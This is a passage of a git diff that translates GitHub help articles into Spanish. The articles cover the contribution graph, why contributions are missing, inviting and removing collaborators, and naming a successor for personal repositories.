-## Contribution activity
+## Actividad de contribución
 
-The contribution activity section includes a detailed timeline of your work, including commits you've made or co-authored, pull requests you've proposed, and issues you've opened. You can see your contributions over time by either clicking **Show more activity** at the bottom of your contribution activity or by clicking the year you're interested in viewing on the right side of the page. Important moments, like the date you joined an organization, proposed your first pull request, or opened a high-profile issue, are highlighted in your contribution activity. If you can't see certain events in your timeline, check to make sure you still have access to the organization or repository where the event happened.
+La sección de actividad de contribuciones incluye una cronología detallada de tu trabajo, incluyendo confirmaciones que has realizado o de las que eres coautor, solicitudes de extracción que propusiste y propuestas que abriste. Puedes ver tus contribuciones en el tiempo al hacer clic en **Show more activity (Mostrar más actividad)** en la parte inferior de tu actividad de contribuciones o al hacer clic en el año que te interesa ver hacia la derecha de la página. Momentos importantes, como la fecha en que te uniste a una organización, propusiste tu primera solicitud de extracción o abriste una propuesta de alto perfil, se resaltan en tu actividad de contribuciones. Si no puedes ver determinados eventos en tu cronología, asegúrate de que todavía tengas acceso a la organización o al repositorio donde ocurrió el evento.
 
-![Contribution activity time filter](/assets/images/help/profile/contributions_activity_time_filter.png)
+![Filtro de tiempo de actividad de contribuciones](/assets/images/help/profile/contributions_activity_time_filter.png)
 
 {% ifversion fpt or ghes or ghae or ghec %}
 
-## Viewing contributions from {% data variables.product.prodname_enterprise %} on {% data variables.product.prodname_dotcom_the_website %}
+## Ver contribuciones de {% data variables.product.prodname_enterprise %} en {% data variables.product.prodname_dotcom_the_website %}
 
-If you use {% ifversion fpt or ghec %}{% data variables.product.prodname_ghe_server %}{% ifversion ghae %} or {% data variables.product.prodname_ghe_managed %}{% endif %}{% else %}{% data variables.product.product_name %}{% endif %} and your enterprise owner enables {% data variables.product.prodname_unified_contributions %}, you can send enterprise contribution counts from to your {% data variables.product.prodname_dotcom_the_website %} profile. For more information, see "[Sending enterprise contributions to your {% data variables.product.prodname_dotcom_the_website %} profile](/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile)."
+Si utilizas {% ifversion fpt or ghec %}{% data variables.product.prodname_ghe_server %}{% ifversion ghae %} o {% data variables.product.prodname_ghe_managed %}{% endif %}{% else %}{% data variables.product.product_name %}{% endif %} y tu propietario de empresa habilita las {% data variables.product.prodname_unified_contributions %}, puedes enviar los conteos de contribución de empresa desde tu perfil de {% data variables.product.prodname_dotcom_the_website %}. Para obtener más información, consulta la sección "[Enviar contribuciones empresariales a tu perfil de {% data variables.product.prodname_dotcom_the_website %}](/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile)".
 
 {% endif %}
 
-## Further reading
+## Leer más
 
-- "[Viewing contributions on your profile page](/articles/viewing-contributions-on-your-profile-page)"
+- "[Ver las contribuciones en tu página de perfil](/articles/viewing-contributions-on-your-profile-page)"
diff --git a/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/why-are-my-contributions-not-showing-up-on-my-profile.md b/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/why-are-my-contributions-not-showing-up-on-my-profile.md
index 4d8e8fa206..9a551ad5f6 100644
--- a/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/why-are-my-contributions-not-showing-up-on-my-profile.md
+++ b/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/why-are-my-contributions-not-showing-up-on-my-profile.md
@@ -1,6 +1,6 @@
 ---
-title: Why are my contributions not showing up on my profile?
-intro: Learn common reasons that contributions may be missing from your contributions graph.
+title: ¿Por qué mis contribuciones no aparecen en mi perfil?
+intro: Aprende sobre las razones habituales por las cuales podrían faltar contribuciones en tu gráfica.
 redirect_from:
   - /articles/why-are-my-contributions-not-showing-up-on-my-profile
   - /github/setting-up-and-managing-your-github-profile/why-are-my-contributions-not-showing-up-on-my-profile
@@ -12,87 +12,87 @@ versions:
   ghec: '*'
 topics:
   - Profiles
-shortTitle: Missing contributions
+shortTitle: Contribuciones faltantes
 ---
 
-## About your contribution graph
+## Acerca de tu gráfica de contribuciones
 
-Your profile contributions graph is a record of contributions you've made to repositories {% ifversion ghae %}owned by{% else %}on{% endif %} {% data variables.product.product_location %}. Contributions are timestamped according to Coordinated Universal Time (UTC) rather than your local time zone. Contributions are only counted if they meet certain criteria. In some cases, we may need to rebuild your graph in order for contributions to appear.
+La gráfica de contribuciones en tu perfil es un registro de las contribuciones que has hecho en los repositorios {% ifversion ghae %}que le pertenecen{% else %}de{% endif %} {% data variables.product.product_location %}. Las contribuciones son registros horarios de acuerdo a la zona horaria universal coordinada (UTC) en lugar de tu zona horaria local. Las contribuciones solo se cuentan si cumplen con determinados criterios. En algunos casos, necesitamos reconstruir tu gráfico para que aparezcan las contribuciones.
 
-## Contributions that are counted
+## Contribuciones que se cuentan
 
-### Issues, pull requests and discussions
+### Propuestas, solicitudes de cambios y debates
 
-Issues, pull requests and discussions will appear on your contribution graph if they were opened in a standalone repository, not a fork.
+Las propuestas, solicitudes de cambios y debates aparecerán en tu gráfica de contribuciones si se abrieron en un repositorio independiente y no en una bifurcación.
 
-### Commits
-Commits will appear on your contributions graph if they meet **all** of the following conditions:
-- The email address used for the commits is associated with your account on {% data variables.product.product_location %}.
-- The commits were made in a standalone repository, not a fork.
-- The commits were made:
-  - In the repository's default branch
-  - In the `gh-pages` branch (for repositories with project sites)
+### Confirmaciones
+Las confirmaciones aparecerán en tu gráfico de contribución si cumplen **todas** las condiciones a continuación:
+- La dirección de correo electrónico que se utiliza para las confirmaciones se asocia con tu cuenta de {% data variables.product.product_location %}.
+- Las confirmaciones se hicieron en un repositorio independiente, no en una bifurcación.
+- Las confirmaciones se hicieron:
+  - En la rama predeterminada del repositorio
+  - En la rama `gh-pages` (para los repositorios con sitios de proyecto)
 
-For more information on project sites, see "[About {% data variables.product.prodname_pages %}](/pages/getting-started-with-github-pages/about-github-pages#types-of-github-pages-sites)."
+Para obtener más información sobre los sitios de proyecto, consulta la sección "[Acerca de las {% data variables.product.prodname_pages %}](/pages/getting-started-with-github-pages/about-github-pages#types-of-github-pages-sites)".
 
-In addition, **at least one** of the following must be true:
-- You are a collaborator on the repository or are a member of the organization that owns the repository.
-- You have forked the repository.
-- You have opened a pull request or issue in the repository.
-- You have starred the repository.
+Asimismo, **al menos una** de las siguientes afirmaciones debe ser verdadera:
+- Eres un colaborador en el repositorio o eres miembro de la organización a la que pertenece el repositorio.
+- Has bifurcado el repositorio.
+- Has abierto una solicitud de extracción o una propuesta en el repositorio.
+- Has destacado el repositorio.
 
-## Common reasons that contributions are not counted
+## Razones comunes por las que las contribuciones no se cuentan
 
 {% data reusables.pull_requests.pull_request_merges_and_contributions %}
 
-### Commit was made less than 24 hours ago
+### La confirmación se hizo hace menos de 24 horas
 
-After making a commit that meets the requirements to count as a contribution, you may need to wait for up to 24 hours to see the contribution appear on your contributions graph.
+Después de hacer una confirmación que cumpla con los requisitos para contar como una contribución, es posible que debas esperar hasta 24 horas para que aparezca la contribución en tu gráfico de contribución.
 
-### Your local Git commit email isn't connected to your account
+### Tu correo electrónico de confirmaciones de Git no está conectado a tu cuenta
 
-Commits must be made with an email address that is connected to your account on {% data variables.product.product_location %}{% ifversion fpt or ghec %}, or the {% data variables.product.prodname_dotcom %}-provided `noreply` email address provided to you in your email settings,{% endif %} in order to appear on your contributions graph.{% ifversion fpt or ghec %} For more information about `noreply` email addresses, see "[Setting your commit email address](/github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address#about-commit-email-addresses)."{% endif %}
+Las confirmaciones deben realizase con una dirección de correo electrónico que se encuentre conectada a tu cuenta de {% data variables.product.product_location %}{% ifversion fpt or ghec %} o con la dirección de tipo `noreply` que te proporcionó {% data variables.product.prodname_dotcom %} en tus ajustes de correo electrónico{% endif %} para que pueda aparecer en tu gráfica de contribuciones.{% ifversion fpt or ghec %} Para obtener más información sobre las direcciones de correo electrónico de tipo `noreply`, consulta la sección "[Configurar tu dirección de correo electrónico para confirmaciones](/github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address#about-commit-email-addresses)".{% endif %}
 
-You can check the email address used for a commit by adding `.patch` to the end of a commit URL, e.g. <a href="https://github.com/octocat/octocat.github.io/commit/67c0afc1da354d8571f51b6f0af8f2794117fd10.patch" data-proofer-ignore>https://github.com/octocat/octocat.github.io/commit/67c0afc1da354d8571f51b6f0af8f2794117fd10.patch</a>:
+Puedes verificar la dirección de correo electrónico para una confirmación si agregas `.patch` al final de la URL de la confirmación, por ejemplo <a href="https://github.com/octocat/octocat.github.io/commit/67c0afc1da354d8571f51b6f0af8f2794117fd10.patch" data-proofer-ignore>https://github.com/octocat/octocat.github.io/commit/67c0afc1da354d8571f51b6f0af8f2794117fd10.patch</a>:
 
 ```
 From 67c0afc1da354d8571f51b6f0af8f2794117fd10 Mon Sep 17 00:00:00 2001
 From: The Octocat <octocat@nowhere.com>
 Date: Sun, 27 Apr 2014 15:36:39 +0530
-Subject: [PATCH] updated index for better welcome message
+Subject: [PATCH] índice actualizado para un mejor mensaje de bienvenida
 ```
 
-The email address in the `From:` field is the address that was set in the [local git config settings](/articles/set-up-git). In this example, the email address used for the commit is `octocat@nowhere.com`.
+La dirección de correo electrónico en el campo `From: (Desde:)` es la dirección que se estableció en los [parámetros de configuración de Git local](/articles/set-up-git). En este ejemplo, la dirección de correo electrónico que se usó para la confirmación es `octocat@nowhere.com`.
 
-If the email address used for the commit is not connected to your account on {% data variables.product.product_location %}, {% ifversion ghae %}change the email address used to author commits in Git. For more information, see "[Setting your commit email address](/github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address#setting-your-commit-email-address-in-git)."{% else %}you must [add the email address](/articles/adding-an-email-address-to-your-github-account) to your account on {% data variables.product.product_location %}. Your contributions graph will be rebuilt automatically when you add the new address.{% endif %}
+Si la dirección de correo electrónico que se utiliza para la confirmación no está conectada a tu cuenta en {% data variables.product.product_location %}, {% ifversion ghae %}cambia aquella que se utiliza para crear confirmaciones en Git. Para obtener más información, consulta la sección "[Configurar tu dirección de correo electrónico para confirmaciones](/github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address#setting-your-commit-email-address-in-git)".{% else %}debes [agregar la dirección de correo electrónico](/articles/adding-an-email-address-to-your-github-account) a tu cuenta en {% data variables.product.product_location %}. Tu gráfica de contribuciones se reconstruirá automáticamente cuando agregues la nueva dirección.{% endif %}
 
 {% warning %}
 
-**Warning**: Generic email addresses, such as `jane@computer.local`, cannot be added to {% data variables.product.prodname_dotcom %} accounts. If you use such an email for your commits, the commits will not be linked to your {% data variables.product.prodname_dotcom %} profile and will not show up in your contribution graph.
+**Advertencia**: Las direcciones de correo electrónico genéricas, tales como `jane@computer.local`, no pueden agregarse a las cuentas de {% data variables.product.prodname_dotcom %}. Si usas un correo electrónico de ese estilo para tus confirmaciones, las confirmaciones no se vincularán a tu perfil {% data variables.product.prodname_dotcom %} y no aparecerán en tu gráfico de contribución.
 
 {% endwarning %}
 
-### Commit was not made in the default or `gh-pages` branch
+### La confirmación no se hizo en la rama predeterminada o en la rama `gh-pages`
 
-Commits are only counted if they are made in the default branch or the `gh-pages` branch (for repositories with project sites). For more information, see "[About {% data variables.product.prodname_pages %}](/pages/getting-started-with-github-pages/about-github-pages#types-of-github-pages-sites)."
+Las confirmaciones solo se cuentan si se realizan en la rama predeterminada o en la rama `gh-pages` (para los repositorios con sitios de proyecto). Para obtener más información, consulta la sección "[Acerca de {% data variables.product.prodname_pages %}](/pages/getting-started-with-github-pages/about-github-pages#types-of-github-pages-sites)".
 
-If your commits are in a non-default or non-`gh-pages` branch and you'd like them to count toward your contributions, you will need to do one of the following:
-- [Open a pull request](/articles/creating-a-pull-request) to have your changes merged into the default branch or the `gh-pages` branch.
-- [Change the default branch](/github/administering-a-repository/changing-the-default-branch) of the repository.
+Si tus confirmaciones están en una rama que no es una rama predeterminada ni es la rama `gh-pages` y te gustaría que contaran para tus contribuciones, necesitarás realizar las siguientes acciones:
+- [Abre una solicitud de extracción](/articles/creating-a-pull-request) para obtener la fusión de tus cambios en la rama predeterminada o la rama `gh-pages`.
+- [Cambia la rama predeterminada](/github/administering-a-repository/changing-the-default-branch) del repositorio.
 
 {% warning %}
 
-**Warning**: Changing the default branch of the repository will change it for all repository collaborators. Only do this if you want the new branch to become the base against which all future pull requests and commits will be made.
+**Advertencia**: El cambiar la rama predeterminada del repositorio la cambiará para todos los colaboradores de este. Realiza esta acción solamente si quieres que la nueva rama se convierta en la base respecto de todas las confirmaciones y las solicitudes de extracción que se harán en el futuro.
 
 {% endwarning %}
 
-### Commit was made in a fork
+### La confirmación se hizo en una bifurcación
 
-Commits made in a fork will not count toward your contributions. To make them count, you must do one of the following:
-- [Open a pull request](/articles/creating-a-pull-request) to have your changes merged into the parent repository.
-- To detach the fork and turn it into a standalone repository on {% data variables.product.product_location %}, contact {% data variables.contact.contact_support %}. If the fork has forks of its own, let {% data variables.contact.contact_support %} know if the forks should move with your repository into a new network or remain in the current network. For more information, see "[About forks](/articles/about-forks/)."
+Las confirmaciones que se hicieron en una bifurcación no contarán para tus contribuciones. Para hacer que cuenten, debes realizar una de las siguientes acciones:
+- [Abre una solicitud de extracción](/articles/creating-a-pull-request) para que se fusionen tus cambios en el repositorio padre.
+- Para desconectar la bifurcación y convertirla en un repositorio independiente en {% data variables.product.product_location %}, contacta a {% data variables.contact.contact_support %}. Si la bifurcación tiene a su vez más bifurcaciones, indícale al {% data variables.contact.contact_support %} si éstas deberán moverse junto con tu repositorio a una nueva red o permanecer en la actual. Para obtener más información, consulta "[Acerca de las bifurcaciones](/articles/about-forks/)."
 
-## Further reading
+## Leer más
 
-- "[Publicizing or hiding your private contributions on your profile](/articles/publicizing-or-hiding-your-private-contributions-on-your-profile)"
-- "[Viewing contributions on your profile page](/articles/viewing-contributions-on-your-profile-page)"
+- "[Divulgar u ocultar tus contribuciones privadas en tu perfil](/articles/publicizing-or-hiding-your-private-contributions-on-your-profile)"
+- "[Ver las contribuciones en tu página de perfil](/articles/viewing-contributions-on-your-profile-page)"
diff --git a/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/index.md b/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/index.md
index 26c50a8387..32c2a7ebf3 100644
--- a/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/index.md
+++ b/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/index.md
@@ -1,6 +1,6 @@
 ---
-title: Managing access to your personal repositories
-intro: You can give people collaborator access to repositories owned by your personal account.
+title: Administrar el acceso a tus repositorios personales
+intro: Puedes otorgarle a las personas acceso de colaborador a los repositorios que sean propiedad de tu cuenta personal.
 redirect_from:
   - /categories/101/articles
   - /categories/managing-repository-collaborators
@@ -20,6 +20,6 @@ children:
   - /removing-a-collaborator-from-a-personal-repository
   - /removing-yourself-from-a-collaborators-repository
   - /maintaining-ownership-continuity-of-your-user-accounts-repositories
-shortTitle: Access to your repositories
+shortTitle: Acceder a tus repositorios
 ---
 
diff --git a/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/inviting-collaborators-to-a-personal-repository.md b/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/inviting-collaborators-to-a-personal-repository.md
index caa381f9fe..1df9489d2c 100644
--- a/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/inviting-collaborators-to-a-personal-repository.md
+++ b/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/inviting-collaborators-to-a-personal-repository.md
@@ -1,6 +1,6 @@
 ---
-title: Inviting collaborators to a personal repository
-intro: 'You can {% ifversion fpt or ghec %}invite users to become{% else %}add users as{% endif %} collaborators to your personal repository.'
+title: Invitar colaboradores a un repositorio personal
+intro: 'Puedes {% ifversion fpt or ghec %}invitar usuarios para convertir{% else %}agregar usuarios como{% endif %} colaboradores de tu repositorio personal.'
 redirect_from:
   - /articles/how-do-i-add-a-collaborator
   - /articles/adding-collaborators-to-a-personal-repository
@@ -16,51 +16,46 @@ versions:
 topics:
   - Accounts
   - Repositories
-shortTitle: Invite collaborators
+shortTitle: Invita colaboradores
 ---
-Repositories owned by an organization can grant more granular access. For more information, see "[Access permissions on {% data variables.product.prodname_dotcom %}](/articles/access-permissions-on-github)."
+
+Los repositorios que son propiedad de una organización pueden conceder acceso más pormenorizado. Para obtener más información, consulta "[Permisos de acceso en {% data variables.product.prodname_dotcom %}](/articles/access-permissions-on-github)".
 
 {% data reusables.organizations.org-invite-expiration %}
 
 {% ifversion fpt or ghec %}
 
-If you're a member of an {% data variables.product.prodname_emu_enterprise %}, you can only invite other members of your enterprise to collaborate with you. {% data reusables.enterprise-accounts.emu-more-info-account %}
+Si eres un miembro de una {% data variables.product.prodname_emu_enterprise %}, solo puedes invitar a otros miembros de esta a que colaboren contigo. {% data reusables.enterprise-accounts.emu-more-info-account %}
 
 {% note %}
 
-**Note:** {% data variables.product.company_short %} limits the number of people who can be invited to a repository within a 24-hour period. If you exceed this limit, either wait 24 hours or create an organization to collaborate with more people.
+**Nota:** {% data variables.product.company_short %} limita la cantidad de personas que se pueden invitar a un repositorio dentro de un período de 24 horas. Si excedes este límite, espera 24 horas o crea una organización para colaborar con más personas.
 
 {% endnote %}
 
 {% endif %}
 
-1. Ask for the username of the person you're inviting as a collaborator.{% ifversion fpt or ghec %} If they don't have a username yet, they can sign up for {% data variables.product.prodname_dotcom %} For more information, see "[Signing up for a new {% data variables.product.prodname_dotcom %} account](/articles/signing-up-for-a-new-github-account)".{% endif %}
+1. Solicita el nombre de usuario de la persona a la que estás invitando como colaborador.{% ifversion fpt or ghec %} Si aún no tiene un nombre de usuario, puede registrarse para {% data variables.product.prodname_dotcom %} Para obtener más información, consulta "[Registrar una cuenta {% data variables.product.prodname_dotcom %} nueva](/articles/signing-up-for-a-new-github-account)".{% endif %}
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
 {% ifversion fpt or ghec %}
 {% data reusables.repositories.navigate-to-manage-access %}
-1. Click **Invite a collaborator**.
-  !["Invite a collaborator" button](/assets/images/help/repository/invite-a-collaborator-button.png)
-2. In the search field, start typing the name of person you want to invite, then click a name in the list of matches.
-  ![Search field for typing the name of a person to invite to the repository](/assets/images/help/repository/manage-access-invite-search-field-user.png)
-3. Click **Add NAME to REPOSITORY**.
-    ![Button to add collaborator](/assets/images/help/repository/add-collaborator-user-repo.png)
+1. Da clic en **Invitar un colaborador**. ![botón de "invitar un colaborador"](/assets/images/help/repository/invite-a-collaborator-button.png)
+2. En el campo de búsqueda, comienza a teclear el nombre de la persona que quieres invitar, luego da clic en un nombre de la lista de resultados. ![Campo de búsqueda para teclear el nombre de una persona e invitarla al repositorio](/assets/images/help/repository/manage-access-invite-search-field-user.png)
+3. Da clic en **Añadir NOMBRE a REPOSITORIO**. ![Botón para añadir un colaborador](/assets/images/help/repository/add-collaborator-user-repo.png)
 {% else %}
-5. In the left sidebar, click **Collaborators**.
-![Repository settings sidebar with Collaborators highlighted](/assets/images/help/repository/user-account-repo-settings-collaborators.png)
-6. Under "Collaborators", start typing the collaborator's username.
-7. Select the collaborator's username from the drop-down menu.
-   ![Collaborator list drop-down menu](/assets/images/help/repository/repo-settings-collab-autofill.png)
-8. Click **Add collaborator**.
-   !["Add collaborator" button](/assets/images/help/repository/repo-settings-collab-add.png)
+5. En la barra lateral izquierda, haz clic en **Collaborators** (Colaboradores). ![Barra lateral de configuraciones del repositorio con Colaboradores resaltados](/assets/images/help/repository/user-account-repo-settings-collaborators.png)
+6. En "Colaboradores", comienza a escribir el nombre de usuario del colaborador.
+7. Selecciona el nombre de usuario del colaborador del menú desplegable. ![Menú desplegable de la lista de colaboradores](/assets/images/help/repository/repo-settings-collab-autofill.png)
+8. Haz clic en **Add collaborator** (Agregar colaborador). ![Botón de "Agregar colaborador"](/assets/images/help/repository/repo-settings-collab-add.png)
 {% endif %}
 {% ifversion fpt or ghec %}
-9. The user will receive an email inviting them to the repository. Once they accept your invitation, they will have collaborator access to your repository.
+9. El usuario recibirá un correo electrónico invitándolo al repositorio. Una vez que acepte la invitación, tendrá acceso de colaborador a tu repositorio.
 {% endif %}
 
-## Further reading
+## Leer más
 
-- "[Permission levels for a user account repository](/articles/permission-levels-for-a-user-account-repository/#collaborator-access-for-a-repository-owned-by-a-user-account)"
-- "[Removing a collaborator from a personal repository](/articles/removing-a-collaborator-from-a-personal-repository)"
-- "[Removing yourself from a collaborator's repository](/articles/removing-yourself-from-a-collaborator-s-repository)"
-- "[Organizing members into teams](/organizations/organizing-members-into-teams)"
+- "[Niveles de permiso para el repositorio de una cuenta de usuario](/articles/permission-levels-for-a-user-account-repository/#collaborator-access-for-a-repository-owned-by-a-user-account)"
+- "[Eliminar un colaborador de un repositorio personal](/articles/removing-a-collaborator-from-a-personal-repository)"
+- "[Eliminarte a ti mismo del repositorio de un colaborador](/articles/removing-yourself-from-a-collaborator-s-repository)"
+- "[Organizar los miembros en equipos](/organizations/organizing-members-into-teams)"
diff --git a/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/maintaining-ownership-continuity-of-your-user-accounts-repositories.md b/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/maintaining-ownership-continuity-of-your-user-accounts-repositories.md
index bb515b2e0b..76ac9a2671 100644
--- a/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/maintaining-ownership-continuity-of-your-user-accounts-repositories.md
+++ b/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/maintaining-ownership-continuity-of-your-user-accounts-repositories.md
@@ -1,6 +1,6 @@
 ---
-title: Maintaining ownership continuity of your user account's repositories
-intro: You can invite someone to manage your user owned repositories if you are not able to.
+title: Mantener la continuidad de la propiedad para los repositorios de tu cuenta de usuario
+intro: Puedes invitar a alguien para administrar los repositorios que pertenezcan a tu usuario si no puedes hacerlo tú mismo.
 versions:
   fpt: '*'
   ghec: '*'
@@ -10,30 +10,29 @@ topics:
 redirect_from:
   - /github/setting-up-and-managing-your-github-user-account/maintaining-ownership-continuity-of-your-user-accounts-repositories
   - /github/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/maintaining-ownership-continuity-of-your-user-accounts-repositories
-shortTitle: Ownership continuity
+shortTitle: Continuidad de la propiedad
 ---
-## About successors
 
-We recommend inviting another {% data variables.product.company_short %} user to be your successor, to manage your user owned repositories if you cannot. As a successor, they will have permission to:
+## Acerca de los sucesores
 
-- Archive your public repositories.
-- Transfer your public repositories to their own user owned account.
-- Transfer your public repositories to an organization where they can create repositories.
+Te recomendamos invitar a otro usuario de {% data variables.product.company_short %} para que sea tu sucesor y que así administre los repositorios que te pertenezcan si tú no puedes hacerlo. Como sucesores, tendrán permisos para:
 
-Successors cannot log into your account.
+- Archivar tus repositorios públicos.
+- Transferir tus repositorios públicos a su propia cuenta de usuario.
+- Transferir tus repositorios públicos a una organización donde puedan crear repositorios.
 
-An appointed successor can manage your public repositories after presenting a death certificate then waiting for 7 days or presenting an obituary then waiting for 21 days. For more information, see "[{% data variables.product.company_short %} Deceased User Policy](/free-pro-team@latest/github/site-policy/github-deceased-user-policy)."
+Los sucesores no pueden iniciar sesión en tu cuenta.
 
-To request access to manage repositories as a successor, contact [GitHub Support](https://support.github.com/contact?tags=docs-accounts).
+Un sucesor designado puede administrar tus repositorios públicos después de presentar un certificado de defunción y esperar por 7 días o presentar un obituario y esperar por 21 días. Para obtener más información, consulta la sección "[Política de Usuario Finado de {% data variables.product.company_short %}](/free-pro-team@latest/github/site-policy/github-deceased-user-policy)".
 
-## Inviting a successor
-The person you invite to be your successor must have a {% data variables.product.company_short %} account.
+Para solicitar acceso para administrar los repositorios como sucesor, contacta a[Soporte de GitHub](https://support.github.com/contact?tags=docs-accounts).
+
+## Invitar un sucesor
+La persona que invites para ser tu sucesor deberá tener una cuenta de {% data variables.product.company_short %}.
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.account_settings %}
-3. Under "Successor settings", to invite a successor, begin typing a username, full name, or email address, then click their name when it appears.
-   ![Successor invitation search field](/assets/images/help/settings/settings-invite-successor-search-field.png)
-4. Click **Add successor**.
+3. Debajo de "Ajustes de sucesor", para invitar a un sucesor, comienza a escribir el nombre de usuario, nombre completo, o dirección de correo electrónico. Posteriormente, da clic en su nombre cuando éste aparezca. ![Campo de bísqueda para invitación de sucesor](/assets/images/help/settings/settings-invite-successor-search-field.png)
+4. Da clic en **Agregar sucesor**.
 {% data reusables.user_settings.sudo-mode-popup %}
-5. The user you've invited will be listed as "Pending" until they agree to become your successor.
-   ![Pending successor invitation](/assets/images/help/settings/settings-pending-successor.png)
+5. El usuario que has invitado se listará como "Pendiente" hasta que acepte convertirse en tu sucesor. ![Invitación de sucesor pendiente](/assets/images/help/settings/settings-pending-successor.png)
diff --git a/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/removing-a-collaborator-from-a-personal-repository.md b/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/removing-a-collaborator-from-a-personal-repository.md
index 627316136c..ad943829c2 100644
--- a/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/removing-a-collaborator-from-a-personal-repository.md
+++ b/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/removing-a-collaborator-from-a-personal-repository.md
@@ -1,6 +1,6 @@
 ---
-title: Removing a collaborator from a personal repository
-intro: 'When you remove a collaborator from your project, they lose read/write access to your repository. If the repository is private and the person has created a fork, then that fork is also deleted.'
+title: Eliminar un colaborador de un repositorio personal
+intro: 'Cuando eliminas un colaborador de tu proyecto, pierde el acceso de lectura o escritura a tu repositorio. Si el repositorio es privado, y la persona creó una bifurcación, esa bifurcación también se elimina.'
 redirect_from:
   - /articles/how-do-i-remove-a-collaborator
   - /articles/what-happens-when-i-remove-a-collaborator-from-my-private-repository
@@ -19,28 +19,26 @@ versions:
 topics:
   - Accounts
   - Repositories
-shortTitle: Remove a collaborator
+shortTitle: Eliminar a un colaborador
 ---
-## Deleting forks of private repositories
 
-While forks of private repositories are deleted when a collaborator is removed, the person will still retain any local clones of your repository.
+## Eliminar bifurcaciones de repositorios privados
 
-## Removing collaborator permissions from a person contributing to a repository
+Aunque se borren las bifurcaciones de los repositorios privados cuando se elimina un colaborador, la persona seguirá teniendo todos los clones locales de tu repositorio.
+
+## Eliminar los permisos de colaborador de una persona que contribuye con un repositorio
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
 {% ifversion fpt or ghec %}
 {% data reusables.repositories.navigate-to-manage-access %}
-4. To the right of the collaborator you want to remove, click {% octicon "trash" aria-label="The trash icon" %}.
-  ![Button to remove collaborator](/assets/images/help/repository/collaborator-remove.png)
+4. Da clic en {% octicon "trash" aria-label="The trash icon" %} a la derecha del colaborador que quieres eliminar. ![Botón para eliminar un colaborador](/assets/images/help/repository/collaborator-remove.png)
 {% else %}
-3. In the left sidebar, click **Collaborators & teams**.
-  ![Collaborators tab](/assets/images/help/repository/repo-settings-collaborators.png)
-4. Next to the collaborator you want to remove, click the **X** icon.
-  ![Remove link](/assets/images/help/organizations/Collaborator-Remove.png)
+3. En la barra lateral izquierda, haz clic en **Collaborators & teams** (Colaboradores y equipos). ![Pestaña Collaborators (Colaboradores)](/assets/images/help/repository/repo-settings-collaborators.png)
+4. Al lado del colaborador que deseas eliminar, haz clic en el icono **X**. ![Enlace Remove (Eliminar)](/assets/images/help/organizations/Collaborator-Remove.png)
 {% endif %}
 
-## Further reading
+## Leer más
 
-- "[Removing organization members from a team](/articles/removing-organization-members-from-a-team)"
-- "[Removing an outside collaborator from an organization repository](/articles/removing-an-outside-collaborator-from-an-organization-repository)"
+- "[Eliminar de un equipo a miembros de la organización](/articles/removing-organization-members-from-a-team)"
+- "[Eliminar a un colaborador externo desde el repositorio de una organización](/articles/removing-an-outside-collaborator-from-an-organization-repository)"
diff --git a/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/removing-yourself-from-a-collaborators-repository.md b/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/removing-yourself-from-a-collaborators-repository.md
index 0546453704..0480cd1ad4 100644
--- a/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/removing-yourself-from-a-collaborators-repository.md
+++ b/translations/es-ES/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/removing-yourself-from-a-collaborators-repository.md
@@ -1,6 +1,6 @@
 ---
-title: Removing yourself from a collaborator's repository
-intro: 'If you no longer want to be a collaborator on someone else''s repository, you can remove yourself.'
+title: Eliminarte del repositorio de un colaborador
+intro: 'Si no quieres seguir siendo colaborador del repositorio de otra persona, te puedes eliminar.'
 redirect_from:
   - /leave-a-collaborative-repo
   - /leave-a-repo
@@ -18,12 +18,10 @@ versions:
 topics:
   - Accounts
